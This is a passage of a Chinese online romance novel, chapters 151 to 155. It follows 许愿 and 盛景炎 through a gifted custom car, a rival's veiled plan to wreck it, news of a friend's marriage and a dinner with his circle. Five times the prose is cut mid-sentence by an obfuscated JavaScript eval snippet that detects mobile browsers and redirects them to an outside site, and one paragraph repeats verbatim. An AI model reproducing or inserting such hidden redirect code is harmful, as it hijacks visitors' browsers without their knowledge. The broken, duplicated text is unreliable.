天知道他一直都羡慕傅京礼有一辆许愿送过的车,没想到许愿真的送了这样一辆车给他。 不同于傅京礼的直接买的豪车,他的是许愿亲自参与改造设计的,是他赢了。 盛景炎眼底藏着的全都是得意的笑。 对着这辆车就拍了张照发到网上,爱人送的礼物,总要炫耀一番。 白天许愿就已经上传过一份几张照片,已经接连上热搜,盛景炎抛出了一张豪车图,且其上标志都是新款,可以说是国内外独一款。 盛景炎配文:【最美丽的小公主送给我的独一无二的礼物】 是炫耀也是嘲讽,旁的人看不出他在嘲讽傅京礼。 当初傅京礼得到的那辆豪车是许愿直接入手购买的,但这辆车不同,这辆车是许愿的盛华研究设计,甚至车子外形为了贴合他特 地设计的。 这是独属于他自己的礼物。 微博圈子再度炸了。 “你们有钱人送礼物都是随便送车的吗?” “白天还只是炫耀你们神仙颜值的爱人,现在竟然就送上车了?” “不过这车?没见过这牌子啊?” “蠢不蠢,许经理会送什么杂牌子吗,如果真没见过那有没有可能是为盛总特地开创设计的新车型!” “许经理……设计车子?虽然许经理是很有才华,但是这是她从没有涉足的领域,盛总收到这份礼物他敢开吗?” “你们夸许愿我理解,但是跟车有关的可不能随便开玩笑,一不小心是会出车祸的,为了自己也为了他人负责,建议还是好好检查下这辆车。” 一群人叽叽喳喳在微博上议论纷纷,也有指点江山的称许愿就是个女人,怎么懂车? 直到有人抛出许愿在国外参加电子机械车组比赛。 那是一组录像,现场参赛者利用赛组提供的所有零件在规定时间内对车组进行组装,所有人都能看到许愿穿着飒爽的皮衣皮裙,姣好的身姿完全被勾勒出来却完全不显色情,长发被绑到脑后,露出那张明媚动人的五官面容。 第151章 今晚我可不可以留下来 她手速飞快的认清零件进行组装。 动作速度远优于其他选手,最终得到的成绩直接破纪录。 面对记者的采访,她笑容明媚张扬却又自信肆意。 她说我是来自华国的许愿,这里的比赛只是她的,她会组建速度更快更坚固的车型,她会创建独属于自己的品牌。 她手速飞快的认清零件进行组装。 动作速度远优于其他选手,最终得到的成绩直接破纪录。 面对记者的采访,她笑容明媚张扬却又自信肆意。 她说我是来自华国的许愿,这里的比赛只是她的,她会组建速度更快更坚固的车型,她会创建独属于自己的品牌。 视频到这里戛然而止。 网络上那些还在吵嚷许愿是女人不懂车的人全都沉默了,就算有人跳脚说这是小比赛,下一秒就有关注此类比赛的人讥讽科普。 “这种比赛是世界最权威的车组赛,所有在比赛中获奖的在领域内都有不小的成就,你们所熟知的几个品牌豪车乃至最近爆火的组装跑车越野车都跟这些获奖者有着很大的关联,有的是根据他们的设计图设计的,有的是经由他们组装成为赛车正极的越野车,此次越野拉练赛中冠军江池的改造师就是这次比赛中的第三名,比赛过程中江池遭到多次碰撞却毫发无伤甚至车速也在后期提上来,这次江池能拿到冠军不仅因为他个人的高超车技还因为改造师的技术,缺一不可。同场比赛第三名改造的车都是这种实力,许愿明显远超他,盛景炎那辆车……确实是独一无二绝无仅有的。” 爱车的人纷纷在盛景炎微博下哀嚎羡慕。 盛景炎看到这些有些得意的挑了挑眉梢,他要的就是这群人这样的回应。 他就是要让那些人知道,他的爱人有多优秀,而傅京礼放弃的是她多深沉浓烈的爱。 …… 傅氏 男人沉默的坐在办公椅上,即使腰背挺的很直也能让人感受到他身上传来的淡淡的难以言喻的寒意。 电脑界面赫然是盛景炎炫耀的那张图,微博甚至“贴心”的为他推送了许愿发送的他们两人的照片。 盛景炎赤裸裸的炫耀【最美丽的小公主送给我的独一无二的礼物】,独一无二的礼物,嘲讽的是他。 傅京礼微微垂眸,眼底的寒意根本无法遮掩。 他的手逐渐握成拳,眸光深沉。 许愿真的爱过他吗。 如果真的爱他,为什么得到特殊对待的只有盛景炎。 傅京礼唇角的笑意愈发冷了,他的目光一直落在那辆车上是盛景炎喜欢的,同样也是他喜欢的风格。 许愿为什么如此着急的送他一辆车? 因为胡浩的那场车祸。 她担心盛景炎再次出车祸,所以特意改装了这样一辆车送给他。 为他特地改造防止发生车祸吗…… 傅京礼漆黑幽深的眸闪过几许危险的冷芒,他合上钢笔的笔盖,声音冰冷:“听说有一支车队最近在找新的车型进行拉力撞击赛。” 办公室内除了没有沈略,只有他和容浔。 容浔顿了片刻,唇角带着浅淡的微笑。 “我会吩咐下去。” 吩咐什么? 他们不提,但彼此之间都清楚是什么意思。 那辆车到底能抗住多少次撞击?他们可以做个实验检验了。 他没有的东西,盛景炎凭什么有。 盛景炎看到网络上的评论眼睛都是弯的,目光落在浇花的许愿身上,她在家里总是很随性的,或许是披着面具太久,即便是在家里也没有完全放松,像是在灯光下和掌声中太久了。 盛景炎轻咳一声,捧着喷水壶挪过去,还不等他浇花已经被许愿瞪了一眼。 干嘛瞪他? 他还什么都没说呢。 被瞪了他也有点心甘情愿,只觉得被这眼神看得心里有那么点麻麻的。 “这种话不能随便浇水的,他们不喜欢潮湿的环境。” 哦,那他换一盆。 盛景炎心不在焉往旁边挪了挪。 “那是仙人掌,更不需要浇水。” 盛景炎轻微叹息:“你不觉得这一大堆花里面有一盆仙人掌真的很突兀吗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618105|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你不觉得仙人掌上的刺很像我吗。”许愿答非所问。 她的回答有点抽象,但盛景炎能懂。 他握住她柔软的指尖,很轻的捏了下。 “最美的花就该有最锋利的尖刺来保护自己,如果你不喜欢这些,我也可以当你的刺。” “我已经有很多刺了。”许愿放下喷水壶,挑眉看向他时眉眼都是带着轻缓的笑意。 盛景炎笑了,他似乎有些得意。 “我和他们能一样吗。” 他双臂一伸,将人搂抱进自己怀中,下巴搁在她的头顶很轻的蹭,许愿被她抱着觉得有点热,正要推他,听到他带着几分祈求的开口:“今晚我可不可以留下来。” “公寓这么大,分我一间房怎么样。” 他想跟她……住一起? 许愿一时没有回应。 她似乎在愣神。 “如果你不愿意,你 搬到我那里也可以。” 他还想得挺美。 “我的别墅距离中心区并不远,有专门的设计台地下研究室,还有几间空房间都可以留给你备用,想拿来做什么都可以。” 他倒是想得长远,很想把人拐回去。 许愿伸出手捏了捏男人的耳朵,他也由着她这般动作。 “你都说我是金主了,那小明星不该住在金主家吗,是我圈养你不是你圈养我,没有这样的道理。” 盛景炎忍不住笑出声。 “好吧老板,都听你的。” 他说这么多演这么多,无非是想留下来罢了。 不过听到圈养两个字盛景炎心里开始发愁。 温栩栩和许愿的关系摆在这里,许愿关系最好的同性朋友就是温栩栩,如果许愿知道他和黎云笙的关系,而黎云笙和温栩栩之间又是那样畸形的关系,这……很难不迁怒到他身上。 这种事若是他不知道还好,但现在他已经知道了,继续瞒着许愿会让他有种负罪感。 他斟酌片刻还是打算和盘托出。 内心想好托词,岂料手机响起来,是跟他和黎云笙一道的韩城打来的。 第152章 黎狗结婚了 韩城,韩家嫡二子,因为有嫡系哥哥继承家业所以出了名的爱玩爱闹,但跟盛景炎和黎云笙之间都有深入合作交流,虽然心思深重却对家业没什么意思,只不过这人嘴上一向没把门,盛景炎也担心韩城胡言乱语说些不能播的不能听的,这才轻呼一口气开口道:“我去接通电话。” 许愿没拦他,哪怕两人已经是恋人,但还是要给对方留有私人空间。 “我真的我满脑子都是天崩地陷我甚至觉得世界末日就要来临了我克制不了一点,盛狗你知不知道黎狗干什么了!他领证了!领证了!就我俩都知道那个小金丝雀!疯了吧!” “我想过你娶个百八十个黎狗孤独终老都没想过黎狗能结婚!是小金丝雀疯了还是黎狗疯了!” 盛景炎:“……” 才接通电话就听到韩城叭叭一堆。 盛景炎觉得自己应该是没听清,能缓了下心神,倒吸了口凉气。 哈? 谁? 哪个狗结婚了? 黎狗?结婚了? 跟谁?跟温栩栩! 盛景炎沉默了,韩城也沉默了,两人脑子里都闪过一句话,嗯这世界疯了颠了。 “不是?他有病吧!” “不是?他有病吧!” 两人几乎异口同声。 “对啊他有病吧!”这是韩城说的。 “要领证也该是我先领啊!黎云笙凭什么啊!”这是盛景炎说的。 韩城:“?” “凭什么你俩都有人要啊!靠,滚啊!” 韩城被气笑了,行啊,哥几个就他单身狗没人要是吧,他还以为三个人都孤独终老呢,结果盛景炎找了许愿这样的王炸,黎云笙跟自己的小金丝雀绑定了,他就这么水灵灵的被落下了? 不是,他不服,他差哪儿了? 韩城本着分享的心思给盛景炎打的电话想吐槽背地里蛐蛐黎云笙,万万没想到最后受伤的是自己,这电话还打个屁! “挂了!” “你先等会儿。”盛景炎叫住韩城,韩城很给面子的想听他还能说出点什么自己感兴趣的话题。 结果就听到盛景炎开口:“有时间叫上那群家伙聚一聚,把你嫂子正式介绍给你们认识下。” 韩城:“?” “谁嫂子?”韩城觉得牙都要被气疼了。 “你嫂子啊。”盛景炎斩钉截铁想都没想。 “盛景炎你还要不要脸了啊!你有了女朋友还要我一个快奔三的男人叫二十出头的小姑娘嫂子?你不要脸我还要脸呢!” 韩城气急败坏。 “可是……”盛景炎十分无辜:“你没有爱人啊。” “好,行,可以。” 韩城被气得已经不知道说什么了。 “过两天别忘了带我‘嫂子’来聚餐,我会带好见面礼的。”韩城嗤笑一声。 “你最好带的真的是见面礼,不然老爷子也会揍你。” 行,知道许愿在长辈圈子多受欢迎了,那可是被老一辈儿称为镇宅孙媳的人物,若不是韩家老爷子知道许愿跟傅京礼结过婚早就撺掇他哥去追求许愿了,事实上韩老爷子也确实并不在意许愿结过婚。 大家都不是封建的老古板,那会儿没让韩家人追求许愿只因为许愿和傅京礼离婚的消息没传出去,谁能想到会被盛景炎捷足先登呢。 都到这份儿上了韩城能说什么,真是憋屈得厉害也只能打碎牙齿往肚子里咽。 “刚才我朋友的电话,要不要跟我的朋友见一面。” 盛景炎毫不遮掩的将自己跟韩家的关系说给她。 许愿当然不会拒绝,对此笑了笑点了下头:“约好时间地点告诉我就好。” 见她答应了,盛景炎才轻咳一声。 “可能你也会见到黎云笙。”他特意提了句。 许愿眼皮跳了下,黎云笙?最初曾经投资过盛华的那位黎少。 黎云笙这人给她的感觉矛盾又危险,他的投资是真的,但是恶意也是真的,他投资了盛华却又不要盛华任何东西,只拿走了属于他盈利的部分。 真正与黎云笙谈合作的是陆斯年,合作结束时黎云笙留下这样一句话。 “替我带一句话给你们……许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618106|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总,我并不欣赏她。” 知道盛华真正的掌舵者,不欣赏她却又投资盛华,矛盾危险的结合体,多次嘲讽与盛华的合作却又次次都会出手,甚至留给盛华一份他曾整理的策划案。 许愿是聪明没错,但傅京礼和黎云笙也确实给了她诸多帮助,特别是黎云笙,这人对她毫不留情,字字句句都在嘲讽一般的点她。 所以盛景炎提到黎云笙时她很明显的怔了下。 “黎云笙,似乎有点讨厌我。” 许愿确实是这么想的。 盛景炎心下无奈。 岂止是讨厌,都快要上升到厌恶的程度了。 试想下温栩栩每每向他示弱都是因为许愿,黎云笙的心情能好才怪。 “你不用理他,他有病。” 盛景炎斟酌了下用词:“其实除了这件事,还有点事想告诉你。” 许愿偏头看他,眼神都带着点疑惑:“什么。” “黎云笙结婚了。” 许愿不理解黎云笙结婚了会跟自己有多大的关系,但是她不是多蠢的人,盛景炎此刻态度有点奇怪,甚至特地提到跟黎云笙有关的事情明显不太对。 “他结婚对象难道跟我有关系?” 盛景炎默了片刻。 “是温栩栩。” 许愿手里的花盆险些摔到地上。 她目光呆滞的看向盛景炎:“我从没听栩栩说过这些。” 盛景炎捏了捏眉心:“所以我就说黎云笙有病,我今天才觉得温栩栩眼熟,可能以前在谁身边见过她,刚想起来她跟黎云笙关系亲密,结果今晚就接到韩城的电话说黎云笙跟温栩栩领证。” 盛景炎一口气说了一大长段话。 其实就是故意的想要转移话题避免许愿想更多想到几年前黎云笙第一笔的投资。 盛景炎开口道:“你知道这对我来说是多大的打击吗?” “要领证也该是我们先领!” 这是重点吗! 关注点彻底被盛景炎带跑偏了。 约好跟黎云笙韩城这些人见面时许愿才看完几份合同。 第153章 想把她藏起来 知道有些男人虚荣心强。 有句话怎么说的?丈夫的容貌妻子的荣耀,虽然她和盛景炎还不是那种关系,但盛景炎在外已经收敛很多,她也想着给盛景炎扳回一局。 他都陪她玩金主和小明星这种剧情了,哄哄他也不是不行。 所以许愿特地化了精致的妆容穿上了礼裙,打扮得光芒四射明艳动人,几乎是下一秒就要登上红毯了。 盛景炎占有欲陡然作祟,忍不住开口:“我还是喜欢那个清淡素雅的你。” 纯胡扯。 许愿什么样他都喜欢, 就是看到许愿为了他的狗朋友们盛装打扮所以吃闷醋,还说什么喜欢清淡素雅的许愿。 说句有点糙的话,盛景炎就喜欢许愿高傲的眼神,就那种看别人就像看狗的眼神。 “哦,那我以后都不会这么打扮了,你觉得怎么样。” 她倚在化妆镜边,眉梢微挑,活脱脱的女王范儿,看得盛景炎呼吸都有些微的乱了。 他忍不住叹气将人拢进怀里,整个抱住。 许愿是不喜欢喷香水的,所以身上的淡淡香气更多的是她自身的味道和沐浴乳的香味,甜甜的味道,和她此番高傲的姿态形成了鲜明的对比。 他嗅着她身上的味道,声音很柔和。 “我就是有点不开心,不想让他们看到这么漂亮的你。” 许愿是什么人?吃软不吃硬,看他这副模样,许愿好笑的看他。 “我盛装打扮是要去见你的朋友。” “那没事,他们不配你盛装打扮。”盛景炎想都不想开口回答。 他都这么说了,许愿能说什么? 一旦恋爱,在不违背自己原则的前提她还是可以宠一下自己的新恋人的。 许愿卸了妆只在脸上拍了层水这才穿上平日的正装,打扮得十分素净的冲盛景炎点了下头:“走吧。” 盛景炎:“……” 他当然知道许愿漂亮,也不是第一次见过许愿素颜,可此刻还是会被惊到。 所以到最后卸不卸妆换不换衣服有什么区别?依旧明艳动人,只是这样更让人知道她天生丽质。 上了车盛景炎的视线时不时的落在许愿身上。 许愿偏头扫了一眼,却见盛景炎已经靠过来。 他的脸几乎要贴上她的,呼吸间都是淡淡的香甜味道,和她身上的香味很接近,莫名的醉人。 单单是闻着这味道,许愿脸颊忍不住微微发红,她就知道盛景炎趁她不注意偷用了很多她的沐浴乳。 他长而浓密的睫毛暴露在她眼前,眼皮轻轻地颤了一下,连带着睫毛也跟着掀动,在眼下生成了浅浅的阴影,让她忍不住想要伸手去触摸。 距离这样近,许愿呼吸都有些不稳,费了好大的力气才克制住触碰他的欲望,可目光还是不由自主的爬上了他的唇,回忆起他吻着她时的浓烈感觉,熟悉的好像刚刚才发生。 是要接吻吗? 见他伸出手,就快要碰触到她的脸颊的时候,许愿下意识的闭上了眼。 可半晌,都没有感觉到他手掌的灼烫温度,诧异的睁开眼看去,见盛景炎嘴角带着淡笑,拉过她身侧的安全带,给她系上。 系完安全带才在一旁轻笑了好几声像是在笑她。 许愿挑了下眉梢:“你笑我?” “不敢。”盛景炎说着不敢,眼睛却还是弯弯的。 安全带都系上了,盛景炎仍然没有让开,抓着安全带扣的右手突然爬上了她的腰。 腰部是她的敏感点,盛景炎其实很少碰的,但这次许愿也没有躲开,只是被他掌心的灼热温度烫得颤了一下。 她一头长发披散在脑后,素净着一张脸,凑近了才能知道她的五官多精致,精致中还带着点青涩感。 白皙的肤色也没有被比下去,白得近乎透明似的,脸颊还透着粉,因为刚刚被风吹过,还带着点儿沁沁的凉意。 她这样静静地被他锁在怀里,不反抗的模样有那么点乖顺,让他觉得仿佛时间都停止了,就停留在此刻的静好里。 盛景炎缓缓地低下头,双唇轻柔的印在她柔软的唇瓣上。 许愿没有躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618107|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,任由他亲吻着。 他的吻由温柔变得浓烈霸道,好像这样才能占有此刻的她。 许愿被他吻得完全不能自已,一切都只由着他主导,双手不由自主的爬上了他的胸膛,隔着衬衣感受到他衣服底下的体温和剧烈的心跳。 她迷迷糊糊的,被他吻得大脑有些缺氧,感觉到他缓缓的松开了她,却又没立即离开。 额头贴着她的额头,双唇若有似无的摩擦着她的唇瓣。 两人粗重的呼吸互相洒在彼此的唇上。 “我其实特别想把你藏起来,藏在我的口袋里,不许任何人看到你。”盛景炎声音沙哑的说,贴着她的唇,仿佛把他沙哑的低喃也哺进了她的口中。 “我就是有点吃醋。”他额头抵着她的:“但是吃醋的时候还有点得意。” “你这样优秀这样漂亮,却是我的爱人,真好。” 他毫不避讳自己对她的欣赏和喜爱。 许愿脑海内思绪纷飞低着头,突然眼前 多了一只大手。 他纤瘦修长的手伸了过来,握住了她的一只手。 许愿低头,看着他精致的手,仿佛出自艺术家的精雕细琢。 许愿看了他一眼,他目光直视前方,侧脸清朗隽逸,和他带着点坏意的正脸倒是形成了两个极端。 她想要抽回手,可是他握得牢靠,感觉到她要抽回的想法,手上握着她的力道也加大。 “你好好开车。”她无奈道。 盛景炎唇角微扬,拇指指腹轻轻地摩挲着她细软的指关节,拉着她的手凑到唇边,便在她的掌心和手背上各吻了一下。 微微湿润还带着温热的吻。 他又拉着她的手,放在他的腿上,五根修长的指穿过她的指缝间,与她十指交握着,掌心覆在她的手背上,就那么不动了。 许愿想拍开他的手,却听男人恶人先告状。 “别闹,我要专心开车。”他紧抓着她的手不放,说得义正言辞的,好像她真是扰乱了他开车似的。 盛景炎这人,有时是真的挺无耻的。 第154章 盛景炎,闹够了没? “开什么车,不是已经到了。” 许愿发现,他们已经到华庭 “不用紧张,就是过来吃顿饭。”盛景炎停下车,因为要拔钥匙,他终于松开了她的手。 “我会紧张?” 这话属实多余。 盛景炎觉得也是,许愿什么场合没应对过,还怕这种小聚会? 盛景炎握住她的手腕要带她下车,许愿顿了下,盯着他的脸看了下从包里拿出一包纸巾,从里面抽出一张纸给他,有些不自在的说:“你嘴上还沾着唇膏印,先擦擦再进去吧。” 她没化妆,但擦了唇膏,之前彼此纠缠亲吻,他的唇上都是印记。 盛景炎垂眼看看她手上捏着的纸巾,又抬眼看看她,没伸手接纸巾,突然抱住了她的腰,将她提起来抱到自己的腿上,紧紧地圈在了怀里。 许愿整个人被困在伸出来的方向盘和他之间,背抵着方向盘有些硌人,只能无奈的靠在他的怀里。 她推了推他:“你闹什么呢。” 许愿这人其实性格挺有意思的,她对你的态度全看你的身份,如果只是普通人她会温和有礼平等对待每个人,如果是谈合作的商人会自然的散发压迫感,但若是爱人,她会收起身上的尖刺露出柔软的腹部,娇娇软软的,让他看到就很想亲一亲尝一尝。 盛景炎不松手,反而将她抱得更紧。 她没化妆,此刻整个人干净清爽,长发散在肩头散发着清淡的味道,露出的洁白颈项,曲线优美。 盛景炎低下头,双唇便贴上了她颈侧细嫩的肌肤,双唇在她的肌肤上边吻边擦。 许愿被他擦得又麻又痒。 “你到底还下不下车了。”许愿有点想推他了。 闻言,盛景炎停止了动作,抬起头来,他唇上的唇膏已经都擦到了她的脖子上。 低头看看许愿的脖子,原本细嫩洁白的肌肤,带上点红痕,却是他留下的痕迹。 他轻啧一声,指腹轻轻地在她脖子的红印上扫着,像是要给她把红印揉去。 盛景炎又低下头想吻她,他好像总是想跟她亲近。 “盛景炎,闹够了没?” 许愿拽住他的衣领,很明显的拒绝了。 盛景炎轻叹一声,在她肩侧蹭了蹭。 盛景炎深吸一口气,向后移开:“我先下车。” 总算没有继续在车内纠缠。 盛景炎锁了车,看了眼她的动作,握住了她的手,将她柔软的小手全都包覆在他牢靠的掌心中。 这样的动作,就不得不离得他特别近,胳膊相交,他身上阵阵的男士香味不停的传来,说不出的亲密。 许愿忍不住抬头看了他一眼,盛景炎依旧目不斜视的往前看,脸上笑意还挺明显的,有那么点炫耀的意思。 进了华庭服务生见到两人脸上的笑意尤为明显。 两人都是华庭的常客,只是以往许愿都是陪傅京礼来的,这次陪着许愿的却是盛景炎。 最近网络上闹得沸沸扬扬的有关于许愿离开傅氏选择盛景炎的事他自然也听说了。 “盛二少、许小姐。”服务生恭敬地叫,目光不由自主的落在了两人交叠相握的手上。 服务员目光忍不住移到许愿脸上,与跟傅京礼一起时不同,与傅京礼时她妆容总是精致的,给人一种高不可攀的感觉,但此刻的许愿卸下了身上冰层,带着几许温婉恬静 她身上干净优雅的气质,是装不出来的。 只能夸一句清水出芙蓉,天然去雕饰。 服务生看得有些失神,不小心瞥见一旁盛景炎脸色难看,那双黑幽幽的眸子此时冷得像冰。 服务生整个人一个激灵,再也不敢多看,低着头,恭敬地说:“盛二少许小姐,这边请。” 他们被服务生领着来到房间外,是盛景炎常来的包厢。 服务生象征性的敲了两下门,便把门推开,待盛景炎带着许愿走进去之后,又将门关上。 而盛景炎就带着许愿站在门前,没有再往里进,因为里面的人的表情,实在是精彩极了。 这里面的人其实不算多,除了跟盛景炎他玩得来的几个外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618108|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是黎云笙、韩城和韩家继承人韩越,韩城等人围着大圆桌坐,中间空了个位置,显然是留给盛景炎和许愿的。 桌上还没有菜,应该是要等盛景炎来了再点。 韩城等人目光先是落在盛景炎的身上,然后看向他身旁的许愿,最后目光向下,落在两人紧握的手上。 许愿倒是不觉得这眼神有什么不能接受的,她眉眼含笑,尽是淡定从容。 黎云笙靠在椅子上头都没抬,掌心握着打火机随意的耍弄,盛景炎拍掉他的打火机,黎云笙懒懒散散的瞥他一眼。 “阿愿不喜欢闻烟味儿。” 不是不能闻,只是最近确实敏感不喜欢闻,闻到会反胃。 黎云笙凉凉的扫了许愿一眼嗤了一声,但到底没说什么挑衅的话,随身带的整盒烟也被他随手丢进垃圾桶,算是对盛景炎的回应了。 盛景炎也没打算让许愿挨着黎云笙坐,索性让许愿挨着韩城,韩城虽然嘴贱,但对许愿却没敌意。 韩城拿出手机,点开微 信,不知道在捣鼓些什么,手指在屏幕上迅速的戳动。 收起手机,韩城笑眯眯的叫:“许——” “叫嫂子。”盛景炎眼皮都没掀一下,低醇的嗓音带着笑意。 韩城好像被噎住的样子,看看许愿那青涩的模样,再想想她跟他的年龄差,这声嫂子就怎么也叫不出来。 “嫂子。” 韩城叫得有气无力的。 他是真有点憋屈。 许愿可是小她好几岁呢。 许愿被他这一声的嫂子给叫得不自在,她也没想到,盛景炎一来就会说这话。 盛景炎对她的态度一直都是认真的,与傅京礼截然不同。 爱不爱的暂且不提,他的态度是正确的。 她和傅京礼结婚三年,傅京礼从没有真正将她介绍给江惊蛰这些人。 她会认识江惊蛰和宋野只因在傅家家宴或者是工作上有往来才会结识,否则可能直到他们离婚,江惊蛰和宋野都不会知道他们曾经是夫妻关系。 第155章 秀恩爱 盛景炎与傅京礼不同,他如果不认真,不会带她来见这些人。如果不认真,不会让韩城叫她嫂子,这等于是认了她的身份。 毕竟对于这些人来说,嫂子两个字,不是能让他们轻易叫出口的。 许愿不由自主的看向盛景炎,他正随意的翻着菜单。 察觉到她的目光,他的脸从菜单上移开,转头看过来。 她突然一头撞进他温柔的目光里,突然浑身都有些麻。 这次不是她的错觉,她看了好久,他眼中的温柔都没有消失, 他温柔的目光像是陈酿在岁月中的好酒,一碰就醉,和他往日胡闹嬉笑的形象截然不同。 许愿在他眼里的温柔中勾起唇,忍不住弯了弯唇笑着。 微微的垂下眼,睫毛像蝴蝶翅膀一样扑扇着,看得盛景炎心里发麻发痒。 韩城低骂了一声“妈的”,他单身啊,是真的难过又憋屈。 韩越和他之间隔了个许愿,瞥他一眼韩城这才没有继续小声嘟囔。 盛景炎倒没理他,点菜时根本不需要问许愿,他已经知晓许愿的口味了。 许愿一抬头,就瞥见他嘴角的淡笑,一双眼仍然柔柔的落在她的脸上。 这样温柔的藏着情意的眼神,总让许愿有些恍惚,觉得自己是被爱着的。 正想着,一只大手横过来,牢牢地握住她的手,拇指微微带着点粗糙感的指腹轻轻地摩挲着她的虎口。 她的手渐渐地放松下来,也轻轻地握住了他绕在她掌心的其余四指。 感觉到她的力道,盛景炎不动声色,可眼梢却带着笑意,跟着捏了捏她的手。 许愿低着头,看着大手包覆着她的手的画面,一时间不由有些失神,这种感觉,像是两个初谈爱情的人在互相试探暧昧一般。 “盛狗你秀够了没有啊,来都来了你都不给我们介绍下嫂子吗。” 韩城看他秀恩爱十分不乐意,忍不住吐槽。 韩城嗤了一声,看看旁边的黎云笙,他可是知道黎云笙看不上许愿,等着黎云笙附和呢。 黎云笙顶着一张面瘫脸淡淡怼了句:“你不会百度吗。” 韩城:“?” 你不怼盛景炎你怼他? 黎云笙是不是真有病啊。 “黎狗我看你就是因为你老婆不陪你来参加我们的聚会所以你在这里阴阳怪气。” 听到这句话,许愿明显怔了一瞬。 黎云笙的妻子,那不就是温栩栩吗。 许愿目光落在黎云笙脸上,似乎是在等着他的回应。 黎云笙垂眸,眼神冷淡。 韩城掏出一根烟,还没点,把香烟夹在长指中间,夹着烟的那只手的手肘撑在桌子上,斜身看向盛景炎和许愿,样子特别痞。 要说电视剧里塑造的a市公子哥儿形象,其实在座的,就只有韩城演绎得最透彻,a市最像这圈子里的二世祖。 “你看他就是心里不高兴憋屈呢。”韩城晃荡着指间的香烟,香烟摇摇,似乎随时都会从他的指间漏下去。 盛景炎眼角抽动了下,目光落在他手上那根香烟上,他甚至此刻在考虑是把香烟还是把韩城这个人丢出去。 黎云笙面无表情的抢了他的香烟:“这个房间今天不许抽烟。” 他故意的将香烟丢得远了些。 韩城被气笑了。 “你们能不能做个人?我单身抽个烟还不许了?” 黎云笙倒了杯红酒声音淡淡的:“嗯,不许。” 韩城更憋屈了,还想要拿出打火机要点烟,盛景炎瞥他一眼:“许愿不爱闻烟味,忍着。” 韩城点烟的动作还真就顿住了,难得他的脸上也能露出无措的样子,被盛景炎这句话打击得有些措手不及。 显然盛景炎一开始进来就说许愿不爱闻烟味儿的时候韩二少压根没放心上。 “这……行吧!”韩城还是磨磨蹭蹭的把烟收起来了,他也不是不懂事儿的人,人都不爱闻烟味儿了他们还抽,那也太不懂事了。 许愿习惯性的温和一笑,她以往参加宴会一直都是如此包容的,毕竟不熟,也都是圈子里的人,她自认自己在谈合作或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618109|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者接待客人的时候从没有因为自己女性的身份处于弱者姿态让旁人优待。 所以只莞尔一笑:“不必这样迁就我。” 盛景炎歪头挑眉,捏了捏她的手。 “怎么不讨厌了,现在就是讨厌烟味儿闻不得烟味儿,你闻不得我也闻不得。” 盛景炎也不等许愿的回答就已经为她做了回应。 “以后我们两个一起都不许抽烟,不然等我回家身上有烟味儿要被我们阿愿要问的。” 还挺嘚瑟,就是故意说这话让人听见知道他们两人同居了,说句话都藏着心思。 黎云笙嗤了一声:“你还能再得意点吗。” 盛景炎很轻很轻的叹了口气:“阿愿,你听到没有,黎云笙嘲讽我。” 黎云笙可能没这意思,但是盛景炎就是要曲解他的意思,谁让黎云笙跟温栩栩领证了,而他什么都没有呢。 许愿能说什么,只能捏了捏眉心当什么都没听到。 “呵呵,我们烟瘾也不是 那么大。”其实除了韩城在场的还真没有把烟往外拿的。 就连一直没有开口的韩越也默默地将烟盒收起来。 也不知道是真的给盛景炎面子还是给许愿面子了。 